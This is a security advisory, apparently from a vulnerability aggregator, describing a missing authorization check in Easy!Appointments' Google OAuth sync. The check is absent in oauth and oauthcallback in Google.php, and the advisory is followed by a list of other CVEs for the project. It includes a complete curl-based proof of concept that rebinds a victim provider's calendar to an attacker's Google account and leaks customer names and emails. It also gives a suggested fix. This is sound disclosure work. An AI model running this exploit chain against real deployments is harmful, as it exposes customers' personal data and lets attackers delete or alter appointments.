Where
-Infinity
0
Severity
3.1
CSRF
AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N

Summary

Google::oauth at application/controllers/Google.php:278 stores its URL-supplied providerid in the session, and oauthcallback saves the issued Google OAuth token against that row without checking the caller owns the provider. Any logged-in backend user (admin, provider, or secretary) rebinds a peer provider's Google sync to a Google account they control. The peer's appointments then sync into the attacker's calendar with each customer's name and email attached as attendee data.

Preconditions

- Attacker holds a backend login on the target instance (admin, provider, or secretary). The customer role cannot log in. - The instance has Google Calendar OAuth configured at application/config/google.php - i.e. any deployment that uses the Google sync feature at all. - Default deployment per the project's own docker-compose.yml; no non-default flags required.

Details

php // application/controllers/Google.php:278-289 public function oauth(string $providerid): void { if (!$this->session->userdata('userid')) { showerror('Forbidden', 403); }

// Store the provider id for use on the callback function. session(['oauthproviderid' => $providerid]); // () attacker-chosen id stored unchecked

// Redirect browser to google user content page. header('Location: ' . $this->googlesync->getauthurl()); }

php // application/controllers/Google.php:305-337 public function oauthcallback(): void { if (!session('userid')) { abort(403, 'Forbidden'); }

$code = request('code'); if (empty($code)) { response('Code authorization failed.'); return; }

$token = $this->googlesync->authenticate($code); if (empty($token)) { response('Token authorization failed.'); return; }

$oauthproviderid = session('oauthproviderid'); if ($oauthproviderid) { $this->providersmodel->setsetting($oauthproviderid, 'googlesync', true); // () $this->providersmodel->setsetting($oauthproviderid, 'googletoken', jsonencode($token)); // () $this->providersmodel->setsetting($oauthproviderid, 'googlecalendar', 'primary'); } else { response('Sync provider id not specified.'); } }

The same controller already carries the right gate on every other sync-management entry. selectgooglecalendar at application/controllers/Google.php:389 and disableprovidersync at application/controllers/Google.php:423 both refuse the call when the caller is neither an admin nor the provider themselves:

php // application/controllers/Google.php:389 if (cannot('edit', PRIVUSERS) && (int) $userid !== (int) $providerid) { throw new RuntimeException('You do not have the required permissions for this task.'); }

oauth and oauthcallback skip that check. Once the callback runs with oauthproviderid pointing at a peer provider, the peer's usersettings row is overwritten with the attacker's OAuth token and googlesync is forcibly enabled.

The attack chain that delivers the data:

- Synchronization::syncappointmentsaved at application/libraries/Synchronization.php:51 runs on every booking save. The path includes the unauthenticated public booking flow (Booking::register at application/controllers/Booking.php:463) and the backend save (Calendar::saveappointment at application/controllers/Calendar.php:306). When $provider['settings']['googlesync'] is truthy the handler reads googletoken from the row - now the attacker's - refreshes it, and calls Googlesync::addappointment. - Googlesync::addappointment at application/libraries/Googlesync.php:184-189 adds the customer as a Google calendar attendee with their first name, last name, and email. - The cron-triggered Console::sync -> Google::sync($providerid) at application/controllers/Google.php:44 walks the existing syncpastdays and syncfuturedays windows and pushes every appointment to the attacker's calendar. - The same loop deletes the local row whenever the remote event throws or is cancelled (application/controllers/Google.php:186-191); the attacker rolls events out of their Google calendar to delete the victim provider's appointments. Events the attacker creates in their own calendar arrive as unavailability records on the victim's schedule (application/controllers/Google.php:209-254).

Proof of concept

Setup

1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:

bash git clone https://github.com/alextselegidis/easyappointments cd easyappointments git checkout 1.5.2 cp config-sample.php config.php docker compose up -d until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done

2. Run the console installer. The seed sets administrator's password to the literal string administrator (see application/libraries/Instance.php:99):

bash docker compose exec -T php-fpm php index.php console install

3. Configure the install's Google OAuth client. Paste the client id and secret from a Google Cloud project you control into application/config/google.php and add http://localhost/index.php/google/oauthcallback to the project's authorized redirect URIs. This step is already done on any deployment that uses Google sync.

4. Log in as administrator and persist the cookie jar (the project's session cookie is easession):

bash export ADMINJAR=/tmp/admin.cookies curl -s -c $ADMINJAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrfcookie"{print $7}' $ADMINJAR) curl -s -b $ADMINJAR -c $ADMINJAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrftoken=$CSRF" \ --data-urlencode "username=administrator" \ --data-urlencode "password=administrator" > /dev/null

5. Create the attacker provider (the default requirephonenumber=1 setting makes that field mandatory). Capture both ids:

bash CSRF=$(awk '$6=="csrfcookie"{print $7}' $ADMINJAR) curl -s -b $ADMINJAR -X POST http://localhost/index.php/providers/store \ --data-urlencode "csrftoken=$CSRF" \ --data-urlencode 'provider[firstname]=Mal' \ --data-urlencode 'provider[lastname]=Lory' \ --data-urlencode 'provider[email]=mallory@x.test' \ --data-urlencode 'provider[phonenumber]=+10000000000' \ --data-urlencode 'provider[timezone]=UTC' \ --data-urlencode 'provider[language]=english' \ --data-urlencode 'provider[settings][username]=mallory' \ --data-urlencode 'provider[settings][password]=Attacker-pw-1' \ --data-urlencode 'provider[settings][notifications]=0' export ATTACKERID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \ -e "SELECT u.id FROM eausers u JOIN eausersettings s ON s.idusers=u.id WHERE s.username='mallory'") export VICTIMID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \ -e "SELECT u.id FROM eausers u JOIN eausersettings s ON s.idusers=u.id WHERE s.username='janedoe'")

6. Log in as the attacker provider into a dedicated cookie jar:

bash export ATTACKERJAR=/tmp/attacker.cookies curl -s -c $ATTACKERJAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrfcookie"{print $7}' $ATTACKERJAR) curl -s -b $ATTACKERJAR -c $ATTACKERJAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrftoken=$CSRF" \ --data-urlencode "username=mallory" \ --data-urlencode "password=Attacker-pw-1" > /dev/null

Exploit

1. The attacker, logged in as a regular provider with id $ATTACKERID, points /google/oauth/ at the victim provider's id $VICTIMID:

bash curl -si -b $ATTACKERJAR "http://localhost/index.php/google/oauth/$VICTIMID" | head -5

Expected: HTTP/1.1 302 Found with Location: https://accounts.google.com/o/oauth2/auth?... - the server accepted the call from a non-owning caller. Verify the session-side effect on disk: docker compose exec -T php-fpm cat storage/sessions/easession$(awk '$6=="easession"{print $7}' $ATTACKERJAR) shows oauthproviderid|s:1:"<VICTIMID>" appended to the attacker's session data alongside their own userid|i:<ATTACKERID>.

2. The attacker copies the easession cookie from $ATTACKERJAR into a real browser, opens the redirect URL, signs in to Google with their own Google account, and grants consent. Google redirects back to http://localhost/index.php/google/oauthcallback?code=... and the app exchanges the code for an access + refresh token.

3. Confirm the row was rebound. The token, sync flag, and calendar selection now belong to the attacker's Google account but sit on the victim's eausersettings:

bash docker compose exec -T mysql mysql -uuser -ppassword easyappointments \ -e "SELECT name, value FROM eausersettings WHERE idusers=$VICTIMID AND name IN ('googlesync','googletoken','googlecalendar')"

Expected: googlesync = 1, googletoken = {"accesstoken":"...","refreshtoken":"..."} (attacker's), googlecalendar = primary.

4. Trigger a sync. Any unauthenticated booking against the victim provider now lands in the attacker's calendar:

bash CSRF=$(awk '$6=="csrfcookie"{print $7}' /tmp/booking.cookies) curl -s -c /tmp/booking.cookies http://localhost/ -o /dev/null CSRF=$(awk '$6=="csrfcookie"{print $7}' /tmp/booking.cookies) curl -s -b /tmp/booking.cookies -X POST http://localhost/index.php/booking/register \ --data-urlencode "csrftoken=$CSRF" \ --data-urlencode "postdata[managemode]=false" \ --data-urlencode "postdata[appointment][idusersprovider]=$VICTIMID" \ --data-urlencode "postdata[appointment][idservices]=1" \ --data-urlencode "postdata[appointment][startdatetime]=2026-06-01 10:00:00" \ --data-urlencode "postdata[appointment][enddatetime]=2026-06-01 10:30:00" \ --data-urlencode "postdata[customer][firstname]=Carol" \ --data-urlencode "postdata[customer][lastname]=Victim" \ --data-urlencode "postdata[customer][email]=carol@target.test"

Expected: the attacker's Google calendar receives a new event whose title is the service name, with Carol Victim <carol@target.test> listed as an attendee.

Impact

- Confidentiality: Reads every appointment booked against the victim provider; the customer's first name, last name, and email attach to each Google calendar event as attendee data (Googlesync.php:184-189). - Integrity: Deletes any of the victim provider's appointments by removing the matching event from the attacker's calendar; the next Console::sync removes the local row (Google.php:186-191). - Integrity: Inserts arbitrary unavailability records onto the victim provider's schedule by creating events in the attacker's calendar (Google.php:209-254).

Suggestions to fix

This has not been tested - it is illustrative only.

Reject the call unless the caller is an admin or the provider whose row is about to be rewritten - the same gate selectgooglecalendar and disableprovidersync already use.

diff public function oauth(string $providerid): void { if (!$this->session->userdata('userid')) { showerror('Forbidden', 403); }

+ if (cannot('edit', PRIVUSERS) && (int) session('userid') !== (int) $providerid) { + abort(403, 'Forbidden'); + } + // Store the provider id for use on the callback function. session(['oauthproviderid' => $providerid]);

// Redirect browser to google user content page. header('Location: ' . $this->googlesync->getauthurl()); }

Credit

Dredsen, 2026.

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
Code Injection, XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Cross Site Scripting vulnerability in Alex Tselegidis EasyAppointments v.1.5.0 allows a remote attacker to execute arbitrary code via the legalsettings parameter.

First published (updated )
Severity
5.4
XSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

The Easy Appointments WordPress plugin before 3.11.2 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.

First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An issue in Alex Tselegidis EasyAppointments v.1.5.0 allows a remote attacker to escalate privileges via the index.php file.

First published (updated )
Severity
9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Use of Hard-coded Credentials in GitHub repository alextselegidis/easyappointments prior to 1.5.0.

First published (updated )
Severity
6
Code Injection
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

Code Injection in GitHub repository alextselegidis/easyappointments prior to 1.5.0.

First published (updated )
Severity
6.1
XSS
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

The Easy Appointments plugin before 1.12.0 for WordPress has XSS via a Settings values in the admin panel.

First published (updated )
Severity
5.4
XSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Cross-site Scripting (XSS) - Stored in GitHub repository alextselegidis/easyappointments prior to 1.5.0.

First published (updated )
Severity
8.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Session Fixation in GitHub repository alextselegidis/easyappointments prior to 1.5.0.

First published (updated )
Severity
6.8
XSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Cross-site Scripting (XSS) - Stored in GitHub repository alextselegidis/easyappointments prior to 1.5.0.

First published (updated )
Severity
5.4
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Improper Access Control in GitHub repository alextselegidis/easyappointments prior to 1.5.0.

First published (updated )
Severity
6.1
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

bootstrap-select before 1.13.6 allows Cross-Site Scripting (XSS). It does not escape title values in OPTION elements. This may allow attackers to execute arbitrary JavaScript in a victim's browser.

1 / 2
First published (updated )
Severity
7.7
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N

A BOLA vulnerability in POST /services allows a low privileged user to create a service for any user in the system (including admin). This results in unauthorized data manipulation.

First published (updated )
Severity
7.7
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N

A BOLA vulnerability in POST /secretaries allows a low privileged user to create a low privileged user (secretary) in the system. This results in unauthorized data manipulation.

First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N

A BOLA vulnerability in POST /providers allows a low privileged user to create a privileged user (provider) in the system. This results in privilege escalation.

First published (updated )
Severity
5
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N

A BOLA vulnerability in POST /customers allows a low privileged user to create a low privileged user (customer) in the system. This results in unauthorized data manipulation.

First published (updated )
Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

A BOLA vulnerability in POST /admins allows a low privileged user to create a high privileged user (admin) in the system. This results in privilege escalation.

First published (updated )
Severity
9.1
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L

A BOLA vulnerability in GET, PUT, DELETE /webhooks/{webhookId} allows a low privileged user to fetch, modify or delete a webhook of any user (including admin). This results in unauthorized access and unauthorized data manipulation.

First published (updated )
Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

A BOLA vulnerability in GET, PUT, DELETE /settings/{settingName} allows a low privileged user to fetch, modify or delete the settings of any user (including admin). This results in unauthorized access and unauthorized data manipulation.

First published (updated )
Severity
9.6
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H

A BOLA vulnerability in GET, PUT, DELETE /services/{serviceId} allows a low privileged user to fetch, modify or delete the services of any user (including admin). This results in unauthorized access and unauthorized data manipulation.

First published (updated )
Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

A BOLA vulnerability in GET, PUT, DELETE /secretaries/{secretaryId} allows a low privileged user to fetch, modify or delete a low privileged user (secretary). This results in unauthorized access and unauthorized data manipulation.

First published (updated )
Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

A BOLA vulnerability in GET, PUT, DELETE /providers/{providerId} allows a low privileged user to fetch, modify or delete a privileged user (provider). This results in unauthorized access and unauthorized data manipulation.

First published (updated )
Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

A BOLA vulnerability in GET, PUT, DELETE /customers/{customerId} allows a low privileged user to fetch, modify or delete a low privileged user (customer). This results in unauthorized access and unauthorized data manipulation.

First published (updated )
Severity
8.5
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L

A BOLA vulnerability in GET, PUT, DELETE /categories/{categoryId} allows a low privileged user to fetch, modify or delete the category of any user (including admin). This results in unauthorized access and unauthorized data manipulation.

First published (updated )
Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

A BOLA vulnerability in GET, PUT, DELETE /admins/{adminId} allows a low privileged user to fetch, modify or delete a high privileged user (admin). This results in unauthorized access and unauthorized data manipulation.

First published (updated )
Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

A BOLA vulnerability in GET, PUT, DELETE /appointments/{appointmentId} allows a low privileged user to fetch, modify or delete an appointment of any user (including admin). This results in unauthorized access and unauthorized data manipulation.

First published (updated )
Severity
7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Easy!Appointments 1.3.0 has a Missing Authorization issue allowing retrieval of hashed passwords and salts.

First published (updated )
Severity
6.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Easy!Appointments 1.3.0 has a Guessable CAPTCHA issue.

First published (updated )
Severity
5.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Easy!Appointments 1.3.2 plugin for WordPress allows Sensitive Information Disclosure (Username and Password Hash).

First published (updated )
Severity
9
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

API Privilege Escalation in GitHub repository alextselegidis/easyappointments prior to 1.5.0. Full system takeover.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203